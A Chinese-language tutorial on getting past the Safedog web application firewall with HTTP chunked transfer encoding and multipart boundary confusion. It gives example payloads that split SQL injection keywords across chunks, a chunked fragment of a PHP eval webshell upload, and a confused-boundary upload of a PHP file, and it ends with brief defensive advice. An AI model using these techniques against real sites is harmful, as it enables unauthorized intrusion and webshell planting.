waf绕过--打狗棒法
字数 1327 2025-08-06 18:07:51
WAF绕过技术:分块传输与边界混淆详解
0x01 前言
安全狗WAF是目前较为常见的Web应用防火墙,随着版本更新其防护能力也在不断增强。本文介绍两种有效的WAF绕过技术:分块传输编码和Content-Type边界混淆,适用于POST请求的SQL注入和文件上传绕过场景。
0x02 HTTP协议关键知识点
分块传输编码(Transfer-Encoding: chunked)
-
基本概念:
- HTTP协议中的数据传输机制,允许将响应数据分成多个部分发送
- 通过消息头
Transfer-Encoding: chunked启用 - 由多个chunk组成,最后一个chunk大小为0表示结束
-
chunk格式:
[长度(16进制)];[可选参数]\r\n [数据内容]\r\n 0\r\n\r\n -
重要特性:
- 启用后Content-Length头部会被忽略
- 支持动态内容推送
- 每个chunk长度声明可以附加无关参数(如
3;random=123)
HTTP持久化连接
- HTTP/1.1默认使用持久化连接
- 除非显式设置
Connection: close - 减少了TCP连接建立/断开的开销
Content-Type详解
-
multipart/form-data:
- 用于文件上传等场景
- 使用boundary分隔不同部分
- 格式示例:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
-
boundary规则:
- 开始boundary:
--[boundary字符串] - 结束boundary:
--[boundary字符串]-- - 可以包含多个boundary定义(仅第一个有效)
- 结束boundary可以与开始boundary不一致
- 开始boundary:
0x03 WAF绕过技术实战
SQL注入绕过(以安全狗为例)
-
基本方法:
- 添加
Transfer-Encoding: chunked头部 - 将payload分块传输
- 示例分块payload:
3 %27 2 un 1 i 2 on ... 0
- 添加
-
分块技巧:
- 将敏感关键词拆分到不同chunk
- 每个chunk长度声明后添加无关参数
- 修改Content-Length值干扰WAF
-
完整示例:
POST /vuln.php HTTP/1.1 Transfer-Encoding: chunked 1 u 4 name 1 = 1 & 2 pa 4 sswd 1 = 3;x=1 %27 2;y=2 un ... 0
文件上传绕过
-
分块传输方法:
- 将文件内容分块传输
- 注意计算包含换行符的字符数
- 示例:
10 <?php eval( 5 $_POST[ 1 x 1 ] ... 0
-
boundary混淆技术:
- 在boundary后添加无关参数:
boundary=----WebKitFormBoundaryABC123;x=1 - 使用多个boundary定义(仅第一个有效)
- 使结束boundary与开始boundary不一致
- 在boundary后添加无关参数:
-
有效payload结构:
Content-Type: multipart/form-data; boundary=----ABC123;boundary=----XYZ456 ----ABC123 Content-Disposition: form-data; name="file"; filename="test.php" <?php phpinfo(); ?> ----XYZ456--
0x04 技术要点总结
-
分块传输优势:
- 有效绕过基于正则匹配的WAF规则
- 可组合使用长度声明参数干扰
- 适用于POST请求的多种攻击场景
-
boundary混淆要点:
- WAF通常只检查第一个boundary定义
- 结束boundary一致性检查不严格
- 参数附加是有效的干扰手段
-
局限性:
- 主要适用于POST请求
- 对GET请求效果有限
- 需要服务端支持分块传输解码
-
防御建议:
- 服务端应验证分块传输的完整性
- 严格检查boundary一致性
- 对上传文件进行内容检测而非仅依赖WAF
0x05 参考文献
- HTTP协议分块传输编码规范
- multipart/form-data格式RFC文档
- 各类WAF产品绕过技术研究文章
通过深入理解HTTP协议细节并创造性应用这些特性,可以有效绕过许多基于模式匹配的WAF防护,这对渗透测试人员和防御方都具有重要参考价值。